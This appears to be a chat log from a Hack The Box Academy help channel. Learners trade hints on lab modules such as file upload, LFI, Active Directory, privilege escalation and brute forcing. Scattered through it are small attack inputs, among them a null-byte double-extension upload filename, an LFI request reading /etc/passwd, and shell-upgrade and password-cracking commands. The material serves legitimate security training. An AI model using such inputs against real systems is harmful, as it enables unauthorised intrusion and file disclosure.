modules

[broken warren]

Has anyone else had ffuf display status codes, size, words, and lines , but not show the actual word used? I'm running into this issue specifically on the SQL map essentials skill assessment.

[timid grove]

I have completed that module not too long ago. What are u having problem with ?

[rustic sage]

Hey! I'm stuck on Footprinting Lab - Medium, any hint is needed, please.

Did nmap for all the ports, found out the services, but all of them are under credentials that I don't have 😦

[rustic sage]

maybe -v is what you are looking for?

[rustic sage]

the only thing that is possibly available is a mount that I should mount through NFS, but in turn I get the mount with no access at all, because of nobody owner
leaving me with no clue on what to do next

[maiden slate]

Has anyone completed the 'Using Web Proxies' module? I am attempting to use the ZAP HUD on the browser to search for a high level vulnerability and exploit it to read the /flag.txt file. The HUD will not respond to commands, and I'm only getting Medium level alerts from running active scan. Need some guidance please.

[topaz lantern]

use Spider and then use Active Scan to get the alert you are looking for 😉 you can also stop the Active Scan once you have found the alert

read again the exercise and the hint! Once you decoded the cookie you need to do the same in reverse with the payload options

[novel echo]

any help with the Windows Local Privesc module

I'm on the skills assessment and having trouble after the foothold

[heavy edge]

Anyone wanna gift me the AD modules

[maiden slate]

@topaz lantern TYVM I will try that out.

@swift cove I just did this last night, if you keep having trouble let me know and I'll help, but not giving away answers 😛

@topaz lanternRan spider, now running Active Scan, I'm sensing that this will take awhile to run all the way through, is that correct?

[topaz lantern]

not needed to have it completed, around 45% should show you the Alert. PM if you like for more hints haha also remember to increase the speed of the scanner

[naive ravine]

Can anyone provide me a nudge on FIle Upload Attacks, skills assessment?

So far I have managed to:

||Upload .svg images and get the source code for:

upload.php and common-functions.php||

Get past the blacklisting for sure, could be I passed the whitelisting and got stuck in the MIME Type / Content-Type, or did not even pass the whitelisting as the error for these two is the same: "Only images are allowed"

[rustic sage]

Can anyone give a nudge with the skill assesments on common webapplication 1 with the exploit step? Or with part 2 with the wordpress url (got the rest of part 2 done)

[raven cairn]

Could I have some help with the File Uploaf skill assesment. I am able to upload a malicious file but i am having problems finding where the upload directory is

[raven cairn]

Oh lol we are on the same problem

@naive ravine Fuzz for extensions. Use a double extension. Make sure you have the correct Mime type AND Content type.

[west canopy]

@raven cairn try using XXE to read the page source code , it will reveal the upload directory as well as how the file is renamed

@rustic sage feel free to DM me about Footprinting

[raven cairn]

Can I have help with how the file is renamed in the file upload skill assesment? I am having trouble deciphering the php

[distant stream]

Dm

[dark saddle]

Hello everyone, I'm Hi everyone, I'm new, I'm not for gnente good in this field, please... Is there anyone who can teach me?

[acoustic owl]

The modules are structured in such a way that you can teach yourself the content through self-study. Afterwards, you can put what you have learned into practice.
If you get stuck somewhere, ask here for help. You will surely find help.

[normal marsh]

Shout out to whoever wrote the "Learning Process" module. I'm getting a lot of out it, especially the "Learning pyramid".

[sweet heron]

Yes, I got it, thanks. DM if you need help.

[naive ravine]

Hi All with regards to my earlier request on File Upload Skills Assessment, I managed to upload a payload using the ||fuzzed double extension: sh.php\x00.jpeg||

However, I cannot find the file when I try to navigate to it from the URL:

Can someone give me nudge in the right direction?

[gleaming thistle]

some body coul help me with command injecton challenge ?

[sweet heron]

DM me.

[sweet heron]

I don't have notes on it, but I can try to help. DM.

[idle kestrel]

Could someone please help me with the question in AD Enumeration & Attacks - Skills Assessment Part II: Use a common method to obtain weak credentials for another user?

Did you find the answer? I'm stuck on the same question. Do you have any advice?

[idle kestrel]

I've tried password spraying and credential enumeration, but the privs of the user are very limited so I can't perform most enumeration with PowerView, cme, etc.

[west canopy]

@lament crag DM me 🙂

@idle kestrel try utilizing the techniques shown in the "internal password spraying from windows" section

[idle kestrel]

Thank you and I gave that a shot, but the username auto detection doesn't work. I created a list of valid usernames from the /opt/jsmith.txt file, but still no dice. Any more hints?

[lethal latch]

Could someone point me in the right direction on SQLMap Essentials module? I am super stuck right now

[feral gyro]

dm

[ancient ivy]

Hello, could someone help me (a slight nudge)? I am a bit confused by the SSRF section in the Web Service & API attacks

[fathom lotus]

would doing all the modules in academy from tier 0 - tier 2 make me a decent pen tester?

or is it not enough

[autumn pilot]

to become a decent pen tester you will have to dedicate years

[fathom lotus]

so yes ?

because these modules will take me a few years

[static kestrel]

#giveaways

[rustic sage]

Were absolute or relative sequence numbers used during the capture? (see question-1.zip to answer)

INTRO TO NETWORK TRAFFIC ANALYSIS

Tcpdump Fundamentals

Hints?

[lone gull]

Find and submit the contents of the TXT record as the answer. Been at this too long, getting nothing. Can I get some help with the correct command please?

[distant stream]

dm

[low vine]

im currently working through the shells & payloads module

and i cannot stay connected to anything. VPN connection shows no problems , but when i'm RDP into windows box it crashes and dies for 10 minutes and cant log back in

same exact thing happened on previous quest/part

for linux box where it took me 30 minutes of logging in with corrrect credentials to establish bind shell

is there general problems with this section and these boxes. Really frustrating taking 10x as long to do something bc it wont stay connected (i'm hardlined/ internets fine on my end)

[snow rain]

Just do it and you'll find your answer

[knotty hemlock]

I also have this issue sometimes. Try again tomorrow, I felt its a bit random. Often it just works fine 😅

[normal marsh]

Have you tried dig ?

[lone gull]

Yes mate, a few different variations of it. No idea what I'm missing now!

[lethal atlas]

DM me

[naive ravine]

Hi all anyone up for a nudge on File Upload Skills assessment?

[distant stream]

dm

[lethal atlas]

what are you stuck on?

[torn meteor]

Hello mates, did anyone completed the "ATTACKING WEB APPLICATIONS WITH FFUF" module ?. I'm stuck on parameter fuzzing, can anyone help me please !!

[rustic sage]

write me in DM

[lethal latch]

Anyone that could give me a nudge in the right direction with the Command Injections skill assessment? i have a general idea of what i should be doing but im hitting a wall

[west canopy]

@lethal latch DM me 🙂

[west canopy]

@idle kestrel Did you make any changes to the DomainPasswordSpray.ps1 file? I had to edit it slightly to make it run, there was an error on a certain line of the script

[autumn hill]

Am I still able to view a module and read it after I finish it?

[light yacht]

Hello guys ! I am super new and stuck in the first module 😅 In http module I did curl inlanefreight.com curl-O inlanefreight.com/download.php and did ls and cat download.pho but could not find flag 🥺 Is there any chance can you help me to find my mistake

[idle kestrel]

Yes, thanks! Problem was my username enumeration was wrong. I needed to target the DC instead of using a /opt/jsmith.txt. There’s a bug though where enum4linux will fail when requesting a user list. I had to enumerate all to get the user list.

[woeful jewel]

d

[simple merlin]

Hi, someone may help me for this question : "Find the percentage of users with a path to Domain Admin. Submit just the number as your answer (to two decimal points, i.e. 9.78)." (Module - BloodHound Skill assessments)

[hexed tartan]

hello, could use a some help with shells & payloads module section on live engagement if possible

[devout cliff]

working on the server-side attacks module on the first SSTI Exploitation Example, where would the environment variables normally be found if i have RCE on the box already?

EDIT: nvm im just a linux noob,

although i do need help installing tplmap, the installation instructions in this module did not work and im not sure why

[steep loom]

can anyone provided me some direction with Weak Bruteforce Protections question 2: Work on webapp at URL /question2/ and try to bypass the login form using one of the method showed. What is the flag? Please dm me. I think I know what needs to be done but I cant seem to get it to work

[sweet heron]

Good evening or other day period folks!

[fathom lotus]

would doing all the modules in academy from tier 0 - tier 2 make me able to do some htb boxes?

[manic zealot]

i need some help with lfi module skill assessment. I have found the panel and im trying to poison the access log but it just won't give me the cmd result

help

[sweet heron]

I've completed the basic toolset path, am at 74% completion on jr pentester path (of what is available for now) and 82% of the bug bounty one, took lots of notes, watched a lot of ippsec videos on yt (taking notes) and completed the getting started section of htb. I say I can get something going on a box, but not yet at the point I can complete one without help or hints. Not close at all, but sooooo much closer than I could've imagined months ago!

[dapper granite]

hallo

[fathom lotus]

how long has all of this took you

[west canopy]

@simple merlin DM me 🙂

[stable sparrow]

hey, I was wondering if you've had some luck with this. I'm stuck on this question and I'm not sure how to proceed 🙂

[rustic sage]

Can anyone give me a hint about the wordpress url in common webapplication skill assesment part 2 ? Answered all of the other questions but im missing how i am supposed to find this url.

[sly grotto]

hey guys can u help me plz
i can not solve this question
Broken Authentication Bruteforcing Passwords
i use this regex for rockyou-50.txt
grep '[[:upper:]]' /usr/share/seclists/Passwords/Leaked-Databases/rockyou-50.txt | grep '[[:lower:]]' | grep '[[:digit:]]' | grep -E '^.{3,20}$

[sweet heron]

A couple of months (3-4) actively except workdays. But I had a head start with Linux since I use Linux as my only OS for years. Also took a free (was lucky for a giveaway) udemy on WiFi hacking. Cracked htb last year (1-2 months), took a break and started back in early April.

[rustic sage]

Hy From introduction to Networking , Subnetting part , Q(broadcast address of the following CIDR: 10.200.20.0/27) , what the correct Ans , I tried but not work.

[novel echo]

I'm doing the login Brute Forcing skills assessments "Website", Brute forcing the admin page, what wordlist did you guys use?

[novel echo]

is it not .31?

[rustic sage]

Anyone able to give me a nudge on the Active Subdomain Enumeration module FQDN for 10.10.34.136 ?

[shadow verge]

I am doing os corporate recon module section Email Addresses, and I do not get emails gathered from theharvester.py, also harvester does not support the source netcraft anymore? I think I need help.

[narrow jungle]

How much pwnbox usage do you get if you buy 50 cubes? Says you get to use it but doesn't say how many times or how long for, compared to say a month sub which is unlimited

[cold marsh]

can anyone help me with command injections skill assessment?

dm me pls

[devout cliff]

if anyone has done the server side attacks skill assessment and could give me a little help i would appreciate it

[rustic sage]

yeah that's right it's 31.I puzzled by CIDR, can I DM you for remaining two more

[west canopy]

@devout cliff have you viewed the page source to find the javascript function?

[devout cliff]

yep i see the jsquery and have decoded the vars

@west canopy just not sure after i get those and 'fix' them what im supposed to do. im reading the jquery.js and see its doing some function to them to make another var but im not sure what its doing exactly

[west canopy]

DM me 🙂

[novel echo]

if you're still having trouble

sure

@west canopy I know I bug you alot, just want to make sure I'm on the right track. Can I DM you about the brute force skills assessment?

[west canopy]

@novel echo sure

[sudden pine]

HTB Academy - Broken authentication > Predictable Reset Token (first question). I am trying to find the token with a modified script and I feel like everything is as it should be, but somehow I get nothing after those 2000 iterations. I may be making some mistakes when selecting/converting the timestamp into epoch? Not sure what I am missing... Can anyone please help me and give me a nudge in the right direction? DM me?

[steep loom]

not yet lol, i just skiped to a different module. whenever im stuck i come back to it in like a week and will always wonder how I got stuck in the first place 😛

[low vine]

Stiull need help Footprinting - SMB - last question

ive walked through everything and cannot for the life of me understand what the fuck its supposed to be

for full path

/etc/samba/?

like idk

[strong wren]

HTB Academy / Connexion Bruteforcing / last question
i got a pb with the wordlist idk wich one i got to use cause it telle me 145h both so idk if i got the good one or not can someone help me on this i'm block since 2 days on this ...

@west canopy

[strong wren]

@rustic sage

[strong wren]

@versed zealot plzz buddy can you help me

[pallid fulcrum]

I am going crazy in the module Password Attacks - Skils Assessment Hard
I have a foothold with 2 users credentials on the server. Get a vhd file that I tried to decrypt with no sucess. Do I need to try harder on this file or on other things on the server?

[vital adder]

any hint on module Attacking Common Services section Attacking Email Services i got the username (and the mail i think) i try brute force every service on that box but no luck i don't know what to do next

[vital adder]

dm

[rustic sage]

any hint on the FQDN of 10.10.34.136 from the Active Subdomain Enumeration part? Im still not sure how to get the information of the different zone. nevermind, just found it

[distant stream]

dm

[eager kite]

Hello everyone! Need some hint for question in Nessus Skills Assessment
of VULNERABILITY ASSESSMENT module. Question is: " What were the targets for the authenticated scan?" I dont get it. What I should to find?

Solved. Nevermind..

[wild wyvern]

hi

i am new player

[rustic sage]

Hi 🙂

[wild wyvern]

whats up bro

[weary stream]

Hello all 😀 I have a problem when installing Parrot OS on VMware and on Vultr. For some reason when I follow all the steps layed out in the HTB academy it won't reach the login screen. And will go straight back to the try/install screen. How can I solve this?

[sweet heron]

OK tonight is the night. I Need help to complete the last assignments of both broken authentication and attacking common applications. Anyone? 🙂

[sweet heron]

Still stuck?

[strong wren]

@sweet heron yes…

Hydra takes like 3600h

[sweet heron]

There are no modules on Academy that have bruteforcing taking longer than 5 mins (maybe except in password attacks). DM me, we'll figure it out.

[low vine]

still need help / push /hint on Footprinting - SMB last question

at a loss for how im supposed to find the file path for it

[viral fable]

Are you allowed to post write ups on module skill assessments?

[west canopy]

@low vine Try connecting with rpcclient and numerating from there

[low vine]

I had tried connecting to rpcclient for hours

and literally 5 mins ago i finally was able to connect

<

so infuriating to waste so much time on that

[west canopy]

😦

[low vine]

https://tenor.com/view/kid-scream-no-cry-mad-gif-11222953

[west canopy]

I might be able to help

[sweet heron]

My hero! I'll DM

[west canopy]

lol

[sweet heron]

Wordpress module, exploiting a vulnerable plugin: Is it normal doing exactly the same exploit from the module, but getting nothing? When I manually access the file count_of_send.php, I get some warnings and nothing using ?pl=/etc/passwd (it just hangs).

[west canopy]

@sweet heron What you're describing matches what I have in my notes so I think it should be working

[sweet heron]

getting no luck with the rce too... weird.

Warning: system(): Cannot execute a blank command in /usr/src/wordpress/wp-content/themes/twentynineteen/404.php on line 2

nevermind. xD

[sweet heron]

So it's a bug? Same path, target is accessible. It hangs for a while and then shows a timeout error. Curl just hangs forever.

[white crater]

can I ask for some direction for the final assessment in module of "Web Attacks" please? I have got info from IDO, but cant login with that piece of info

[sweet heron]

It ended up working on my host, but not on my kali machine... weird.

[sweet heron]

Sure where are you stuck. Can also DM.

[white crater]

thanks, will DM you now

[twin gulch]

Hey guys. Can anyone help me in the skill assessments of windows fundementals? I’m trying to create a security group (saw that as AD) and all the commands are not recognised in the machine, thinking I’m wrong in one of them.

[covert tangle]

can someone help me with the metasploit fundementals problem where we have to exploit the older version of sudo?

[rustic sage]

hi i wanna learn hacking

withouth linux

https://tenor.com/view/cat-catcry-gif-19131995

[devout cliff]

if anyone is available to answer a question about the broken authentication module let me know

[lethal atlas]

why limit yourself? Would you build a house with just a screwdriver?

[distant stream]

Dm if you still need help

[quaint marsh]

Go to the port 5000 website and you will see the name of the application! or look at the Http-title of this port. then look for this name in the MSF.

[leaden quail]

Hey Guys, Im doing the File Upload Attack Assessment but i have trouble to find the upload directory

any hints?

[tight mesa]

hello everyone, who has made USING WEB PROXIES module?

[devout cliff]

i think i have that assessment done, dm me

[strong wren]

Bruteforce module, Skills Assessment does someone knows if the list that we have to make with cupp is about Harry Potter or Daniel Radcliffe ??

[devout cliff]

dm

[tight mesa]

I'm following this image setup but can't capture responses traffic, any clue | hint why can be?, this is related to Web Proxies module..!!!

[cinder delta]

Hi guys, just started and I'm doing the Web Requests (HTTP Headers) atm, the question is asking for the flag, I believe and I found it but can't submit it correctly, any ideas what I'm doing wrong?

[tight badger]

which task and question is this for?

[cinder delta]

HTTP Headers in the Web Requests

The server above loads the flag after the page is loaded. Use the Network tab in the browser devtools to see what requests are made by the page, and find the request to the flag.

[tight badger]

could you send a (spoilered) screenshot of your question/issue?

[cinder delta]

That's fine to post here or do I DM?

[tight badger]

man it should be fine

im new to this server too thought so im not too sure

but ive already completed that section

just yesterday in fact

yeah man youre doing another module ive got no clue on that one

[cinder delta]

All good, thanks anyways

[quaint marsh]

Does anyone know how to find this exploit in Metasploit CVE-2018-15473?

[devout cliff]

have msfconsole running
type command 'search cve:2018-15473'
type command 'info 0'

@quaint marsh

[quaint marsh]

Thx

[hexed tartan]

Hello, need help with shell&payloads module section assesment, "Exploit the blog site and establish a shell session with the target OS. Submit the contents of /customscripts/flag.txt" I have a payload on exploit-db to use but its not present in msfconsole. Does this need to be added manually to pwnbox?

pls dm me if anyone can assist me here

[wide torrent]

when using burp intruder, if i need to find a .html file in the admin directory is this correct way to structure the pointer

[subtle loom]

If you need to find a directory or file inside of the admin directory, it would be GET /admin/$$.html

Obviously, the $$ stands for your two pointers.

[wide torrent]

ohhh i see what you mean thanks !

[subtle loom]

Sure thing.

[fading raptor]

Hey - anyone had issues with the bloodhound module? Doesn’t like the example zip files that are provided for the questions

[west canopy]

@fading raptor yep , I think the version of bloodhound on my VM was not compatible with their bloodhound data they provide. I had to use Pwbox

[fading raptor]

Rightio! Thanks man, I’ll get on the pwnbox

[wheat garden]

Any one do the Linux Privilege escalation Academy module? Could use some help on the final skill assessment. Stuck on getting flag 4.

[west canopy]

@wheat garden sorry if this is a silly question but have you nmapped the target?

[wheat garden]

new to discord chat here thanks for this this tip has allowed me to continue the skills assesment if I get stuck again ill be back on here

[wheat garden]

saw a past tip you gave its allowed me to continue

[muted finch]

I established a vpn connection inside my vm but I cannot ssh to the target, it works fine on the pwnbox in the browser tho? anyone has a quick fix?

[rich pumice]

did you have to get a private key?

[wide torrent]

attempting to get wine installed are parrot and I'm getting this error winehq-devel : Depends: wine-devel (= 7.9~bullseye-1)
E: Unable to correct problems, you have held broken packages.

[muted finch]

The "get vpn key" in the target box? @rich pumice

[rich pumice]

yeah, you might have to log in like this: "ssh -i "path to key" your_vpn-admin@ip

[wheat garden]

@west canopy got the 4th flag in Linux privilege escalation module. Did a search on the whole system as the tomcat user and didnt even see 5th flag. But attempted privilege escalation of netcat shell using the gtfo busctl though that appears to not be working for me. Used a metasploit module too to get a shell though still unsure how to leverage busctl command as root to gain privileged access. Unsure what to do from here.

[west canopy]

@wheat garden the gtfo busctl is the right path, try and upgrade your shell first. python -c 'import pty;pty.spawn("/bin/bash")'

[rustic sage]

Hi guys im in the part of jobs of metasploit and i need to see wich exploits the target is vulnerable
How do i know wich exploits the target is vuln?

[wheat garden]

THank you 5th flag gotten though will note for me python -c 'import pty;pty.spawn("/bin/bash")' did not work had to use python3 "python3 -c 'import pty;pty.spawn("/bin/bash")'

[west canopy]

nice work 🙂

[rustic sage]

can you help me?

[west canopy]

@rustic sage I think you'd want to background your meterpreter session and run the local exploit suggester

Not sure which section / question you are on though

[rustic sage]

Metasploit, Sessions & Jobs

[wheat garden]

thank you appreciate your help

[rustic sage]

so how do i make it?

[lusty sigil]

Did you ever find the answer to this? I found the GET request in the devtools and found the text file, but the flag within the file is not rendering. Thanks

[coral sundial]

DM if you would like to go through it. You will kick yourself 🙂

[random cape]

hi guys, i'm having a problem with Information Gathering - Web - Skills Assessment, in question 3 "Perform active infrastructure identification against the host https://i.imgur.com. What server name is returned for the host?".

I've already tried doing all the commands to find the nameserver, but both nslookup and dig find nothing, and i.imgur.com returns the response code 302.

imgur.com also returns four server names (none of the four is the answer), but they all seem to return Transfer failed when I run the dig command for AXFR records, and the https://hackertarget.com/zone-transfer/ site also returns Transfer failed for the four servernames as well

Could anyone give me any hints as to what I would be doing wrong? or if there is a problem with the question itself

[plain coral]

did you end up working this one out?

[plain coral]

@tight mesa I found if you set these Interception Rules for the client and server responses, You will see the HTML response in the HTTP history tab of Burp.. Then if you refresh the web request to the page in Firefox with Interception turned on.. In Burp, Right click anywhere in the request --> Do intercept --> Response to the request --> Then the HTML will be reflected in the request, then you can manipulate it.

[idle kestrel]

I'm stuck on the AD Enumeration & Attacks - Skills Assessment Part II. I have an open xp_commandshell, but I don't know what to do next. What section of the course should I look at to move forward?

[rustic sage]

hello, i'm having a hard time on this question : Which ACE entry can be leveraged to perform a targeted Keberoasting attack? | on AD enumeration and attacks course.

what the f

just got correct answer idk what did I change

[vital horizon]

Hi, I am doing skill assessments-web proxy and I am struggling with it. I only got the flag for the second question. Please come to my rescue

[distant stream]

dm

[narrow jungle]

Hey, i'm just wondering if anyone can give me a hand i'm on the Privilege escalation part of "getting started" and i have the id_rsa file on my attacker box and used chmod 600 on the file but when i try and ssh with -i id_rsa it says

"load key "id_rsa": invalid format

Any clues?

[rustic sage]

Make sure you let an empty line at the very end of the key

after the -----END PRIVATE KEY-----

[narrow jungle]

oh

i just realised

i didn't copy the "START OF KEY" "END OF KEY" stuff

just the code inbetween

[rustic sage]

Copy everything and let an empty line

you'll be good then

[narrow jungle]

lmfao i took too long and the target expired so have to do it again 😄

[narrow jungle]

got it! Thanks dude!

[rustic sage]

[cinder delta]

You get things sorted with Karti? Really simple mistake, was definitely kicking myself when I found it.

[rustic sage]

Module AD enum & exploitation
question What is the ObjectAceType of the first right that the forend user has over the GPO Management group? (two words in the format Word-Word)

I cannot find the commands to find the answer

[quaint marsh]

bg or background

[summer lake]

Bonjour everyone. For those who finished the shells & payloads, were you able to connect to Nomachine via the attackbox?

The latency is real bad and it keeps disconnecting

[fervent grove]

https://cdn.discordapp.com/attachments/980097838035918858/980478630369062932/unknown.png

[leaden quail]

It is possible after Intruder is finished filter the results and save the working payloads?

in burp

[vapid wadi]

DNS lookups are a form of passive recon. Passive recon basically means collecting info on an org while not connecting to their infrastructure. The question states to perform active infrastructure recon against the host, so go to the host and look at more than the response code

[sweet heron]

Hey all, anyone available for some help with the skills assessment on Web Service and API attacks? I don't understand how to read the SOAP and use it to find an SQLi...

[distant stream]

dm

[tacit topaz]

Hi guys ! I have a question about "cracking common hashes" part of the hashcat module ?

[rustic sage]

You'd better ask it directly

[tacit topaz]

I'm on pwnbox and my hashcat constantly get "exhausted" but he doesn't test all the possibility... Why is it happening ?

[sweet heron]

what's your command?

[tacit topaz]

hashcat -a 0 -m 1000 hash rockyou.txt -r /usr/share/hashcat/rules/best64.rule

[sweet heron]

looks good to me... what section of the module?

[tacit topaz]

cracking common hashes

I just tried with another rule file and I cracked the hash....

What is weird is when I launch my hashcat even without rule file I get an exhausted in like 5sec...

In previous modules everything was working fine, I didn't get any exhausted before...

[sweet heron]

I remember having a similar problem, but don't remember what was the problem. You hash is between ' ' ? It's indeed an NTLM, so this part is ok. The files are accessible (tab command completes well?)

[tacit topaz]

My hash is written in a file, but he is not between '' in the file. That can be a problem ?
Yes all files are accessible

[sweet heron]

try it straight in your command between single quotes maybe?

[tacit topaz]

Nope doesn't worked, I always have this exhausted... But if I use the correct rule file I cracked the hash (because hashcat find the password before the he get exhausted)
When I launch without rules hashcat get exhausted after 5s but if I put a rule file he is exhausted within 30s and 1min30

I'm launching my command in root can it be the problem ?

[sweet heron]

can we see a screenshot of the hashcat exhausted? Is rejected is at 100% or 0?

[sweet heron]

no

[sweet heron]

Well, it looks like the command did work properly. Password is not in rockyou (and I confirmed). Try a smaller rockyou (like the 50 one) with rules. As long as it doesn't reject them all, it means the command worked.

[tacit topaz]

Okay, I wasn't believing he did the whole rockyou in 4s, that surprised me 😄

I just try on one of my vm and my vm is as fast as the pwnbox, I thought that was way slower, my bad !

[sweet heron]

with my GTX 1070, it takes 2 seconds. Exhausted just means it didn't find the password. I though the problem was it instantly rejected all possibilities. I didn't find the password either with best64 rules. Use generated.rule, you will find it.

[tacit topaz]

Yep, I got it ! Thanks for your help !

[sweet heron]

It depends of the hash you are cracking. Some are faster than others.

[summer canopy]

I am stuck on the NSE portion of the NMAP enumeration module. I have tried several different attempts to enumerate the flag. Can I get a nudge?

[rustic sage]

dmed

[rustic sage]

what is the command to execute?

[west canopy]

@summer canopy DM me 🙂

[fading raptor]

anyone got any idea how to scp files to the pwnbox on academy? when i connect to vpn with my vm, it gives me the same IP address as the Pwnbox so i cant scp. however the module says i must scp in order to progress as bloodhound is broken

[west canopy]

@fading raptor if i have to transfer files to pwnbox i will just use my google drive or something like ufile.io

[sage jackal]

Hey 👋🏻 can someone help me a little with the module Web Attacks (Skills assessment section)?

[sweet heron]

Sure, you can DM.

[sudden ocean]

anyone around that can help with linux basics module?

[west canopy]

@sudden ocean i can try! which section / question?

[sudden ocean]

system information, having issues figuring out the path for mail and network interface

im super new to all this lol, i appreciate the help

[west canopy]

try running the command: env

this will show your environment variables and should include the path to htb-student's mail

for the network interface try the command: ifconfig

basically the linux equivalent of ipconfig in windows 🙂

[sudden ocean]

see i dont even know what ipconfig is lol,

i believe i found my answers though thank you!

[opaque elm]

hi, Skills Assessment - SQL Injection Fundamentals -> Where is the security flaw? In the form or elsewhere?

[sweet heron]

I can't seem to execute the LD_PRELOAD priv esc from Linux privilege escalation, shared libraries section.

[vapid wadi]

Use the full path to the shared object?

OpenSSL idk, maybe say start instead of restart if it’s not running currently

[sweet heron]

I'm dumb. Yes, thanks!

[round lagoon]

lord these modules, maybe someone can help me w/ Active Subdomain Enumeration part of Info Gathering. I'm trying to get the FQDN for the ip addresses. I think I have the 2 zone transfers but i'm still having issues 😦

[acoustic pebble]

sigh i really hate asking such a noobish thing..... but I'm working on Linux Fundamentals (yes, im THAT new).....but I've been getting stuck on sections like Service and Process management. I feel like I'm.....just missing key concepts....but it's not been discussed before. Also.....my pwnbox keeps asking for a password when I try to engage commands like "systemctl start ssh."

I'm at a loss at this point. I can su to root, or sudo my way out of it, but password? did i miss something in my own interface? Feel free to DM if you dont want to embarrass me publicly heh.

[ocean elk]

https://help.hackthebox.com/en/articles/5185608-introduction-to-pwnbox

Control+F to "randomly generated user password". Right after that is a graphic that shows how to access the password

[acoustic pebble]

I never would have known. Thanks tremendously!

[ocean elk]

np

[lusty sigil]

No, not yet. I'm still at a loss.

[stable sparrow]

Hi, I was wondering if anyone could point me to the right direction for the "Broken Authentication" module - "Weak Bruteforce Authentication" q: "Work on webapp at URL /question2/ and try to bypass the login form using one of the method showed. What is the flag?". To my understanding, I am meant to use curl, with the "X-Forwarded-For" header, but I can't seem to get it to work.

[stable sparrow]

Hey, did you manage to get this?

[manic ermine]

Hi all, anyone able to give me an assist on the active directory module, specifically the part about windows enumeration living-off-the-land. The second question is "What domain user is explicitly listed as a member of the local Administrators group on the target host?" - any hints as to how I can find this?

[manic ermine]

Never mind, I figured it out

[snow rain]

I'm being stuck at Command Injection - Skill Assessments. I've already found which parameter to inject malicious code but final payload is a tough task. Anyone give me a nudge

?

[opaque elm]

hi, Skills Assessment - SQL Injection Fundamentals -> Where is the security flaw? In the form or elsewhere?

[snow rain]

Nevermind, I've just got the flag. I've completed all bug bounty path, should we take CBBH exam?

[plucky rover]

hi all. Anyone can provide hints for password attack - Credential Hunting in Linux question? I don't understand the hint (Sometimes, we will not have any initial credentials available, and as the last step, we will need to bruteforce the credentials to available services to get access. From other hosts on the network, our colleagues were able to identify the user "Kira", who in most cases had SSH access to other systems with the password "LoveYou1". We have already provided a prepared list of passwords in the "Resources" section for simplicity's purpose.)

The password provided in resources has loveyou - so I created custom wordlist (hashcat --force -a6 password.list ?d --stdout) to generate custom wordlist with number ; then realize LoveYou so I generate another one using toggle2 rules - but it seems I'm going to wrong direction because it's not related to the credential hunting in linux?)

[mild orbit]

Hey, can i have help on the Locations questions in the OSINT: Corporate Recon Module ? i got the good cities and use the right search engine but didnt got the good 4 digits

[distant stream]

dm

[sly nebula]

Are SMTP password brute forcing times reasonable in "Attacking Common Services" - "Attacking email services"?

[sly nebula]

Never mind. Brute forcing times are quite low if you know what to do.

[quaint marsh]

everything seems to be simple there. scan ports. then you look for an exploit in Metasploit for servises on port. you launch it. you turn off the Meterpreter using the BG command. Well and further you raise privileges.

[gusty zinc]

@blissful verge any guestimate as to when the pivoting and tunneling academy module will release?

[pseudo kiln]

Hey Guys,
Can someone give me a hand on AD Enum Skills assesment part II ?
I'm here : Submit the contents of the flag.txt file on the Administrator Desktop on the SQL01 host.
I've got a shell but I can't write on disk so I'm not sure how I can elevate privileges

[white crater]

Hi, I would like to have ideas for one of the questions in module "Command Injection - Advanced Command Obfuscation"

I have used the intended way( i guess) to find the answer as well as unintended way, both of them are lead to the same result. But when I submitted it, it was incorrect

can anyone give me some ideas please?

[distant stream]

dm

[vital adder]

any in hint on how to get the flag in module Attacking Common Services Skills Assessment hard i got the user with the admin privileges

[muted rampart]

what is the best was to crack wp-user passwords?

[pulsar gorge]

hello, could someone give me a little hint of the last exercise of the ssti module?

Is it necessary to use AJP proxy?

[sweet heron]

DM me

[quaint marsh]

how to connect to web interface in Vulnerability Assessment-Nessus Skills Assessment?

Port 80 is closed. but given credentials! through RDP?

[vital adder]

nessus is on port 8834

[quaint marsh]

web interface Nessus?

Why Authenticate to 10.129.245.120 with user "htb-student" and password "HTB_@cademy_student!"

[quaint marsh]

yes

Navigate to the web interface at the end of this section and log in with the provided credentials.

Once logged in, perform a BASIC NETWORK SCAN (modify the scan template to scan ALL ports, leave all other options the same) against the target: 172.16.16.100

some kind of nonsense!

They give you one IP and ask you to scan a completely different one!?🧐

[quaint marsh]

Are you Pass this module?

[vital adder]

yes

[vital adder]

in this task you don't need to scan there are scan result you can just use that to Answer the question

[quaint marsh]

Can't be! Why create an instance then?

i try

[soft carbon]

Hi guys! I am newbie. I recently started taking the WordPress module and reached the Skills Assessment. And right from the start, I had a problem. The test questions are related to wordpress and the module itself is also dedicated to it, but when I try to scan the target with wpscan, I get an error that the site exists but it does not use wordpress. When looking at the source code of the main page, I also did not find evidence that it uses wordpress. Also, I tried to check the main wordpress directory and got a 404 error. Can someone tell me if this is right and I need to search solution or it's some kind of bug?

[sudden zenith]

Hey all, in Information Gathering - Web Edition, question # 2:
Which CMS is used on app.inlanefreight.local? (Format: word)

The answer is obvious but the website will not accept my answer, anyone encounter this?

[sudden zenith]

Nevermind, I needed an ! to complete the answer.

[tight mesa]

hi, anyone who can give me a hint about how to find the other directories on "Repeating Request" under Web Proxies module

[quaint marsh]

did you find all the answers?

[vital adder]

yes

[quaint marsh]

I went through pwnbox to the site https://10.129.100.169:8834 on nessus. there is already a completed scanning report. I took the answers from it. besides this: What is the plugin ID of the highest criticality vulnerability for the Windows authenticated scan?

Where to look for it?

[tight mesa]

hi, anyone who can give me a hint about how to find the other directories on "Repeating Request" under Web Proxies module, I tried using wfuzz but is not resolving the IP_Add:Port_ID

[quaint marsh]

Created a report in http format by module. got a number there.

[vital adder]

sorry i didn't see the message in the Windows authenticated just click in the darkest red (critical vuln) and copy the plugin ID on top

[pliant summit]

if my student academy sub runs out will i still have acesss to the modules that I have completed?

[west canopy]

@pliant summit yep

[quaint marsh]

OpenVAS ready?

[vital adder]

?

[vital adder]

if your question is have i done that then the answer is yes

[upper niche]

Hello, can someone help me for "Skills Assessment - File Inclusion" ?

[tight mesa]

anyone who had made "Using Web Proxy" module..!!!

[sand cloud]

hi what we do here

@sand cloudhi

[sweet heron]

Still stuck? @tight mesa you too?

[ashen orbit]

setting up proxy chains, I set the the proxy list to http 127.0.0.1 8080 and https 127.0.0.1 8080

but when I run curl with the proxychain it says its invalid?

[versed zealot]

This is intended. Keep looking around the target

[ashen orbit]

if I only set proxy chains with http and not https, then it will fail to connect to the server, but I can still ping the server

Alright, so looked like when i opened zap it was set to port 8081, but burp is set to 8080 and that will allow it to work, but still can't get https

[tiny ledge]

